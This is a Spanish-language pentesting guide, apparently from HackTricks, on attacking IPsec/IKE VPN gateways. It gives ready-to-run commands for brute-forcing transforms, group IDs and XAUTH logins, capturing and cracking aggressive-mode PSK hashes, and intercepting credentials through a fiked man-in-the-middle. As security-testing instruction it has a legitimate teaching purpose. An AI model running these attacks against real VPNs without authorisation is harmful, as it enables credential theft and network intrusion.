17 KiB
Información Básica
IPsec es la tecnología más comúnmente utilizada tanto para soluciones VPN empresariales de gateway a gateway (LAN a LAN) como de host a gateway (acceso remoto).
IKE es un tipo de implementación de ISAKMP (Protocolo de Gestión de Claves de Asociación de Seguridad de Internet), que es un marco para la autenticación y el intercambio de claves. IKE establece la asociación de seguridad (SA) entre dos puntos finales a través de un proceso de tres fases:
- Fase 1: Establece un canal seguro entre 2 puntos finales utilizando una clave precompartida (PSK) o certificados. Puede utilizar el modo principal (3 pares de mensajes) o el modo agresivo.
- Fase 1.5: Esto es opcional, se llama Fase de Autenticación Extendida y autentica al usuario que intenta conectarse (usuario+contraseña).
- Fase 2: Negocia el parámetro para la seguridad de los datos utilizando ESP y AH. Puede utilizar un algoritmo diferente al utilizado en la fase 1 (Secreto Directo Perfecto (PFS)).
Puerto predeterminado: 500/udp
Descubrir el servicio utilizando nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Encontrar una transformación válida
La configuración de IPSec puede estar preparada para aceptar solo una o algunas transformaciones. Una transformación es una combinación de valores. Cada transformación contiene un número de atributos como DES o 3DES como el algoritmo de encriptación, SHA o MD5 como el algoritmo de integridad, una clave precompartida como el tipo de autenticación, Diffie-Hellman 1 o 2 como el algoritmo de distribución de claves y 28800 segundos como el tiempo de vida.
Entonces, lo primero que debes hacer es encontrar una transformación válida, para que el servidor hable contigo. Para hacerlo, puedes usar la herramienta ike-scan. Por defecto, Ike-scan funciona en modo principal, y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una sola propuesta con ocho transformaciones dentro de ella.
Dependiendo de la respuesta, puedes obtener información sobre el punto final:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Como se puede ver en la respuesta anterior, hay un campo llamado AUTH con el valor PSK. Esto significa que la VPN está configurada utilizando una clave precompartida (y esto es realmente bueno para un pentester).
El valor de la última línea también es muy importante:
- 0 handshake devuelto; 0 notificación devuelta: Esto significa que el objetivo no es una puerta de enlace IPsec.
- 1 handshake devuelto; 0 notificación devuelta: Esto significa que el objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transformaciones que propusiste son aceptables (se mostrará una transformación válida en la salida).
- 0 handshake devuelto; 1 notificación devuelta: Las puertas de enlace VPN responden con un mensaje de notificación cuando ninguna de las transformaciones es aceptable (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
Entonces, en este caso, ya tenemos una transformación válida, pero si se encuentra en el tercer caso, entonces es necesario hacer un poco de fuerza bruta para encontrar una transformación válida:
En primer lugar, es necesario crear todas las transformaciones posibles:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
Y luego hacer fuerza bruta en cada uno usando ike-scan (esto puede tardar varios minutos):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin apretones de manos incluso a transformaciones válidas. Entonces, podrías intentar el mismo ataque de fuerza bruta pero usando el modo agresivo:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Con suerte, se devolverá una transformación válida.
Puede intentar el mismo ataque utilizando iker.py.
También podría intentar forzar las transformaciones con ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
En DH Group: 14 = 2048-bit MODP y 15 = 3072-bit
2 = HMAC-SHA = SHA1 (en este caso). El formato --trans es $Enc,$Hash,$Auth,$DH
Cisco recomienda evitar especialmente los grupos DH 1 y 2. Los autores del artículo describen cómo es probable que los estados nación puedan descifrar sesiones IPsec negociadas utilizando grupos débiles a través de la precomputación de log discreto. Los cientos de millones de dólares gastados en la precomputación se amortizan a través de la descifrado en tiempo real de cualquier sesión que utilice un grupo débil (de 1.024 bits o menos).
Fingerprinting del servidor
Luego, se puede usar ike-scan para intentar descubrir el proveedor del dispositivo. La herramienta envía una propuesta inicial y deja de reproducirla. Luego, analiza la diferencia de tiempo entre los mensajes recibidos del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la carga útil opcional Vendor ID (VID) payload con IKE.
Especifique la transformación válida si es necesario (usando --trans)
Si IKE descubre quién es el proveedor, lo imprimirá:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Esto también se puede lograr con el script de nmap ike-version
Encontrando el ID correcto (nombre del grupo)
Para poder capturar el hash necesitas una transformación válida que soporte el modo Agresivo y el ID correcto (nombre del grupo). Probablemente no sepas el nombre del grupo válido, por lo que tendrás que hacer un ataque de fuerza bruta.
Para hacerlo, te recomiendo 2 métodos:
Ataque de fuerza bruta del ID con ike-scan
En primer lugar, intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Si no se devuelve ningún hash, entonces probablemente este método de fuerza bruta funcionará. Si se devuelve algún hash, esto significa que se enviará de vuelta un hash falso para una ID falsa, por lo que este método no será confiable para hacer fuerza bruta en la ID. Por ejemplo, se podría devolver un hash falso (esto sucede en versiones modernas):
Pero si, como he dicho, no se devuelve ningún hash, entonces deberías intentar hacer fuerza bruta en nombres de grupo comunes usando ike-scan.
Este script intentará hacer fuerza bruta en posibles IDs y devolverá las IDs donde se devuelve un handshake válido (esto será un nombre de grupo válido).
Si has descubierto una transformación específica, añádela al comando de ike-scan. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
Puedes usar el diccionario de ikeforce o el de seclists de nombres de grupo comunes para hacer fuerza bruta en ellos:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Fuerza bruta de ID con Iker
iker.py también utiliza ike-scan para hacer fuerza bruta de posibles nombres de grupo. Sigue su propio método para encontrar un ID válido basado en la salida de ike-scan.
Fuerza bruta de ID con ikeforce
ikeforce.py es una herramienta que se puede utilizar para hacer fuerza bruta de IDs también. Esta herramienta intentará explotar diferentes vulnerabilidades que podrían ser utilizadas para distinguir entre un ID válido y uno no válido (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).
Por defecto, ikeforce enviará al principio algunos IDs aleatorios para comprobar el comportamiento del servidor y determinar la táctica a utilizar.
-
El primer método es hacer fuerza bruta de los nombres de grupo buscando la información Dead Peer Detection DPD de los sistemas Cisco (esta información sólo es respondida por el servidor si el nombre de grupo es correcto).
-
El segundo método disponible es comprobar el número de respuestas enviadas a cada intento porque a veces se envían más paquetes cuando se utiliza el ID correcto.
-
El tercer método consiste en buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto.
-
Finalmente, si el servidor no responde nada a las comprobaciones, ikeforce intentará hacer fuerza bruta del servidor y comprobar si cuando se envía el ID correcto el servidor responde con algún paquete.
Obviamente, el objetivo de hacer fuerza bruta del ID es obtener el PSK cuando se tiene un ID válido. Entonces, con el ID y el PSK tendrás que hacer fuerza bruta del XAUTH (si está habilitado).
Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
También es posible obtener nombres de usuario válidos mediante el sniffing de la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la ID del cliente se envía en claro (según el libro Network Security Assessment: Know Your Network).
Capturando y crackeando el hash
Finalmente, si has encontrado una transformación válida y el nombre del grupo, y si se permite el modo agresivo, entonces puedes obtener fácilmente el hash crackeable:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
El hash se guardará dentro de hash.txt.
Puedes usar psk-crack, john (usando ikescan2john.py) y hashcat para descifrar el hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
La mayoría de las implementaciones utilizan modo agresivo IKE con PSK para realizar la autenticación de grupo, y XAUTH para proporcionar autenticación adicional de usuario (a través de Microsoft Active Directory, RADIUS o similar). Dentro de IKEv2, EAP reemplaza XAUTH para autenticar a los usuarios.
MitM de red local para capturar credenciales
Para capturar los datos del inicio de sesión se puede utilizar fiked y ver si hay algún nombre de usuario predeterminado (es necesario redirigir el tráfico IKE a fiked
para el sniffing, lo que se puede hacer con la ayuda de ARP spoofing, más información). Fiked actuará como un punto final VPN y capturará las credenciales XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Además, utilizando IPSec, intenta realizar un ataque de MitM y bloquea todo el tráfico al puerto 500. Si el túnel IPSec no se puede establecer, tal vez el tráfico se envíe en claro.
Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce
Para realizar una fuerza bruta de XAUTH (cuando se conoce un nombre de grupo válido id y el psk), se puede utilizar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
De esta manera, ikeforce intentará conectarse utilizando cada combinación de usuario:contraseña.
Si encontraste una o varias transformaciones válidas, úsalas como en los pasos anteriores.
Autenticación con una VPN IPSEC
En Kali se utiliza VPNC para establecer túneles IPsec. Los perfiles deben estar ubicados en /etc/vpnc/ y puedes utilizar la herramienta vpnc para llamarlos.
Ejemplo tomado del libro Network Security Assessment 3rd Edition:
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
Material de Referencia
Shodan
port:500 IKE
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Mira los PLANES DE SUSCRIPCIÓN!
-
Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
-
Consigue el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.